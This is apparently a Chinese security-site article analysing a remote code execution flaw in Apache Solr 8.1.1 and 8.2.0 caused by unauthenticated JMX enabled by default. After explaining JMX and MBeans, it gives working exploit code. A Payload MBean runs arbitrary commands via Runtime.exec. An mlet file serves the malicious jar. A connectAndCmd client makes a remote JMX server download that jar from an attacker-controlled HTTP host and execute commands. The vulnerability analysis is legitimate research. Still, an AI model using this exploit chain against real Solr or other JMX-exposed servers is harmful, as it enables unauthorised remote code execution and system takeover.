Apache Solr 之JMX远程代码漏洞分析-安全客

前言

Apache Solr的8.1.1和8.2.0 linux版本的自带配置文件solr.in.sh中存在ENABLE_REMOTE_JMX_OPTS=”true”选项，并且默认开启，导致apache solr会在默认端口18983端口开放JMX服务，而且不需要身份认证，导致任何可以访问该端口的攻击者能够发起攻击，执行任意命令。

JMX和MBean

正如前言所说，这次apache solr 漏洞是JMX问题导致的，所以我们需要选简单介绍下JMX机制。

JMX（Java Management Extensions，即Java管理扩展）是一个为应用程序、设备、系统等植入管理功能的框架。狭隘的理解，我们可以通过JMX管理、监视我们的java程序。但是不是所有java程序都能被管理，只有通过特定实现的java才能够被管理，这种特定实现机制就是Mbean。

Mbean编写与管理

每一个MBean都需要实现一个接口，下面我们实现一个简单的HelloWorldMBean

public interface HelloWorldMBean {
    public void setGreeting(String greeting);
    public String getGreeting();
    public void printGreeting();
}



public class HelloWorld implements HelloWorldMBean {

    private String greeting = null;

    public HelloWorld(String greeting) {

        this.greeting = greeting;

    }



    public HelloWorld() {

        this.greeting = "Hello World! I am Standard MBean";

    }

    @Override

    public void setGreeting(String greeting) {

        this.greeting = greeting;

    }

    @Override

    public String getGreeting() {

        return this.greeting;

    }

    @Override

    public void printGreeting() {

        System.out.println(this.greeting);

    }

}

如果我们想要监控管理这个HelloWorldMBean，我们需要把该MBean添加到MBeanServer中。代码如下：

public class RemoteMbean {



    public static void main(String[] args){

        try{

            MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();

            //---------------------------------------------

            //local mbean

            System.out.println("Register Hello bean...");

            HelloWorld hello = new HelloWorld();

            ObjectName objectHelloName = new ObjectName("JMXHello:name=hello");

            mBeanServer.registerMBean(hello, objectHelloName);



            //这句话非常重要，不能缺少！注册一个端口，绑定url后，客户端就可以使用rmi通过url方式来连接JMXConnectorServer

            Registry registry = LocateRegistry.createRegistry(1099);

            //构造JMXServiceURL

            JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");

            //创建JMXConnectorServer

            JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);

            //启动

            jmxConnectorServer.start();

            System.out.println("JMXConnectorServer is running");



        }catch (Exception e){

            e.printStackTrace();

        }

    }

}

然后运行该程序，使用jconsole连接localhost:1099

这里我们可以通过jconsole执行远端HelloWorldMbean的printGreeting函数。

远程MBean

上节我们所编写的MBean是在本地的，JMX提供一种机制，可以使用远程的MBean。MLet对象，该对象有一个getMBeansFromURL方法，通过该方法我们可以使用远程的MBean。也正是因为这个原因，才导致JMX存在远程代码执行漏洞的可能。下面我们通过代码，观察下结果。

我们先编写一个Payload的MBean，并将其打包成jar包。

public interface PayloadMBean {

    public String runCmd(String cmd) throws IOException, InterruptedException;

}
public class Payload implements PayloadMBean {

    @Override

    public String runCmd(String cmd) throws IOException, InterruptedException {



        Runtime runtime = Runtime.getRuntime();

        Process process = runtime.exec(cmd);

        BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream()));

        BufferedReader stdError = new BufferedReader(new InputStreamReader(process.getErrorStream()));



        String stdout_data = "";

        String strtmp;

        while ((strtmp = stdInput.readLine()) != null) {

            stdout_data += strtmp + "\n";

        }

        while ((strtmp = stdError.readLine()) != null) {

            stdout_data += strtmp + "\n";

        }

        process.waitFor();

        return stdout_data;

    }

}

再创建一个名为mlet的文件，内容如下：
<HTML><mlet code=Payload archive=JMXPayload.jar name=MLetCompromise1:name=Payload,id=12></mlet></HTML>

这个文件是给getMBeansFromURL函数使用的，通过该文件，getMBeansFromURL会到远程下载JMXPayload.jar文件。

将JMXPayload.jar和mlet放在网站同一目录下。

将mletMBean添加到MBeanServer中，代码如下：

public class RemoteMbean {



    public static void main(String[] args){

        try{



            MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();

            //---------------------------------------------

            //local mbean

            System.out.println("Register Hello bean...");

            HelloWorld hello = new HelloWorld();

            ObjectName objectHelloName = new ObjectName("JMXHello:name=hello");

            mBeanServer.registerMBean(hello, objectHelloName);

            //remote mbean

            System.out.println("Register MLet bean...");

            MLet mLet = new MLet();

            ObjectName objectNameMLet = new ObjectName("JMXMLet:type=MLet");

            mBeanServer.registerMBean(mLet, objectNameMLet);

            //mLet.getMBeansFromURL("http://192.168.1.110:8080/mlet");

            //-----------------------------------------------------------------

            //mBeanServer.invoke(evilObject.getObjectName(), "getMBeansFromURL", new Object[] {"http://192.168.1.110:8080/mlet"}, new String[] {String.class.getName()});



            //这句话非常重要，不能缺少！注册一个端口，绑定url后，客户端就可以使用rmi通过url方式来连接JMXConnectorServer

            Registry registry = LocateRegistry.createRegistry(1099);

            //构造JMXServiceURL

            JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");

            //创建JMXConnectorServer

            JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);

            //启动

            jmxConnectorServer.start();

            System.out.println("JMXConnectorServer is running");



        }catch (Exception e){

            e.printStackTrace();

        }

    }

}

使用jconsole连接localhost:1099

执行getMBeansFromURL函数，加载远程payloadmbean，结果如下：

（这个过程我们也可以在代码里自动完成mLet.getMBeansFromURL(“http://192.168.1.110:8080/mlet”);）

通过加载的远程payloadmbean，我们就可以执行任意命令。

远程加载远程MBean

上一节中，我们介绍了本地时如何加载使用远程MBean的，有意思的是，这一过程我们在远程也可以实现，换句话说，就是一个对外开放JMX的系统，我们可以通过代码使其加载远程的恶意payloadmbean，从而实现执行任意代码，而Apache Solr的8.1.1和8.2.0 linux版本，恰恰就是这样一个对外开放JMX服务的系统，所以存在远程执行漏洞。

代码如下：

    static void connectAndCmd(String serverName, String port, String command){

        try{

            JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");

//            System.out.println("URL: " + jmxServiceURL + ", connecting");

            JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxServiceURL, null);

//            System.out.println("Connected： " + jmxConnector.getConnectionId());

            MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();

            ObjectInstance evil_bean = null;

            try{

                evil_bean = mBeanServerConnection.getObjectInstance(new ObjectName(OBJECTNAME));

            }catch (Exception e){

                evil_bean = null;

            }

            if(evil_bean == null){

                System.out.println("Trying to create bean...");

                ObjectInstance evilObject = null;

                try{

                    evilObject = mBeanServerConnection.createMBean("javax.management.loading.MLet", null);

                }catch (InstanceAlreadyExistsException e){

                    evilObject = mBeanServerConnection.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));

                }

                System.out.println("Load " + evilObject.getClassName());

                //调用getMBeansFromURL从远程服务器获取 MBean

                //加载包含 MLET 标记的文本文件，这些标记定义了要添加到 MBean 服务器的 MBean。

                //MLET 文件中指定的 MBean 将被实例化并在 MBean 服务器中注册。

                Object res = mBeanServerConnection.invoke(evilObject.getObjectName(), "getMBeansFromURL",

                        new Object[] {String.format("http://192.168.1.110:8080/mlet", InetAddress.getLocalHost().getHostAddress()) },

                        new String[] {String.class.getName()}

                        );

                HashSet hashSet = (HashSet)res;

                Iterator iterator = hashSet.iterator();

                Object nextObject = iterator.next();

                if(nextObject instanceof Exception){

                    throw ((Exception)nextObject);

                }

                evil_bean = ((ObjectInstance)nextObject);

            }

            //调用恶意 MBean 中用于执行命令的函数

            System.out.println("Loaded class: " + evil_bean.getClassName() + "--- object: " + evil_bean.getObjectName());

            System.out.println("Calling runCommand with: " + command);

            Object result = mBeanServerConnection.invoke(evil_bean.getObjectName(), "runCmd", new Object[]{command}, new String[]{String.class.getName()});

            System.out.println("Result: " + result);

        }catch (Exception e){

            e.printStackTrace();

        }

    }